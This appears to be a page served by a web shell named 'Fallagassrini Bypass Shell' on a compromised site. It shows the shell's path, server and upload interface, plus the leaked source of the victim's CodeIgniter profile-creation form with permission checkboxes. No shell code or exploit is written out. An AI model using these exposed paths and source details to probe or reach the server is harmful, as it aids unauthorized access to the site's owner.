? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sec_old/application/views/settings/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sec_old/application/views/settings/add_profile.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');    
$this->load->view('settings/settingsfunctions');  
$designation=$this->mastermodel->getdatas('designation','designation_id');
?>
<div id="success-panel">
</div>
 <div class="icons_main">
    <div  class="icons">
        <img src="<?=base_url()?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('settings','viewinsettingssearch','search_profile','view_profile','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
     <div class="icons_caption">
        <h4>Creating new Profile</h4>
     </div>
</div>
<div class="clean"></div>    
<?php
$attributes=array('id'=>'validateform','class'=>'validate');
echo form_open('settings/addinsettings/insert_profile/view_profile/1',$attributes);
?>
<div class="grid_6">
    <div class="box">
         <div class="header">
             <h3></h3>
             <span></span>
         </div>    
            <div class="content no-padding">
                <div class="section _100">
                    <label>Designation </label>
                    <div>
                        <select name="designation_id" id="designation_id" class="required chzn-done"  onchange="checkexistence('user_profile','designation_id',this.value,'profile_id','User profile for this designation already added')" >
                            <option value="">Select Designation</option>
                            <?php 
                            foreach($designation as $list)
                            {
                            ?>
                                <option value="<?=$list['designation_id']?>"><?=$list['designation_name']?></option>
                            <?php
                            }
                            ?>
                        </select>
                    </div>
                </div>
                
            </div>                
    </div> 
</div> 
 <?php
                   // // $this->load->view('unique_form');
                ?>
<div class="grid_12">
    <div class="box">
            <div class="header main">             
                   <span>Permissions</span>
            </div>
      
       <table class="table">
                <thead>
                    <tr>
                    <th>Module Name</th>
                    <th><input style="width: 15px;" type="checkbox" id="view_check_all" onchange="check_all_view(this,'view_','')">View </th>
                    <th><input style="width: 15px;" type="checkbox" id="add_check_all" onchange="check_all_view(this,'add_','')">Create </th>
                    <th><input style="width: 15px;" type="checkbox" id="edit_check_all" onchange="check_all_view(this,'edit_','')">Edit</th>
                    <th><input style="width: 15px;" type="checkbox" id="delete_check_all" onchange="check_all_view(this,'delete_','')">Delete</th>
                     <th><input style="width: 15px;" type="checkbox" id="delete_check_all" onchange="check_all_view(this,'homepage_','')">Home Page</th>
                    </tr>
                </thead>
                    <tbody>
            <?php
                $modname="";
                $modcheck="";
                $cntr=1;
                $i=1;
                $modulelist=$this->mastermodel->getmoduledata();
                $j=0;
                $txtname="";
                $viewCount=0;
                $initialPermission="";
                $home_page="";
                $moduleidList="";
                
                foreach ($modulelist as $menulst)
                {
                        $viewCount++;
                        $initialPermission .= "0,";
                        $home_page .= "0,";
                        $moduleidList .= $menulst['menu_id'].",";
                        $txtname = $menulst['module_name'];
                        if($modname!=$menulst['module_name'])
                        {
                             $modname=$menulst['module_name'];
           ?>
                        <tr>
                            <th><?=$menulst['module_title'];?></th>
                            <th><input style="width: 15px;" class="" type="checkbox" id="view_<?=$modname?>" onchange="check_module_view('view_','<?=$modname?>')">View</th>
                            <th><input style="width: 15px;" class="" type="checkbox" id="add_<?=$modname?>" onchange="check_module_view('add_','<?=$modname?>')">Create</th>
                            <th><input style="width: 15px;" class="" type="checkbox" id="edit_<?=$modname?>" onchange="check_module_view('edit_','<?=$modname?>')">Edit</th>
                            <th><input style="width: 15px;" class="" type="checkbox" id="delete_<?=$modname?>" onchange="check_module_view('delete_','<?=$modname?>')">Delete</th>
                            <th><input style="width: 15px;" class="" type="checkbox" id="homepage_<?=$modname?>" onchange="check_module_view('homepage_','<?=$modname?>')">Home Page</th>
                        </tr>
            <?php
                         $i++;
                        }
            ?>
                            <tr>
                            <td><input class="<?=$modname?>" style="width: 15px; margin-right: 20px;" onchange="check_all_view(this,'','view_all_')" name="read_permission[]" id="view_all_<?php echo $j;?>" type="checkbox"><?=$menulst['caption']; ?></td>
                            <td style="text-align: center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','view_')" name="view_<?=$modname?>[]" id="view_<?php echo $j;?>" value="8" type="checkbox"></td>
                            <td style="text-align: center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','add_')" name="add_<?=$modname?>[]" id="add_<?php echo $j;?>" value="4" type="checkbox"></td>
                            
                            <td style="text-align: center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','edit_')" name="edit_<?=$modname?>[]" id="edit_<?php echo $j;?>" value="2" type="checkbox"></td>
                            <td style="text-align: center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','delete_')" name="delete_<?=$modname?>[]" id="delete_<?php echo $j;?>" value="1" type="checkbox"></td>
                            <td style="text-align: center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','delete_')" name="homepage_<?=$modname?>[]" id="homepage_<?php echo $j;?>" value="1" type="checkbox"></td>
                            </tr>

	    <?php


                    $j++;
                }

            ?>
            </tbody>
       </table>
        <input type="hidden" id="ViewCount" value=<?php echo $viewCount?>>
            <input type="hidden" id="ViewCount" value=<?php echo $viewCount?>>
            <input type="hidden" id="TxtPermissionList" name="role_edit_del_permission" value=<?php echo $initialPermission?>>
            <input type="hidden" id="ModuleidList" name="role_permission" value=<?php echo $moduleidList?>>
            <input type="hidden" id="home_page_list" name="role_home_page" value="<?php echo $home_page?>"/>
            <input type="hidden" id="tab_name" name="tab_name" value="role">
    </div>
</div>
<div class="grid_12">
    <div class="box">
     <div class="actions">
                    <div class="actions-left">
                            <input type="reset">
                            <input type="hidden" name="resfunction" value="search_profile"/>
                    </div>
                    <div class="actions-right">
                            <button style="margin-left: 130px;" type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
    </div>
    </div>
    </div>
</div>
<?php echo form_close();?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net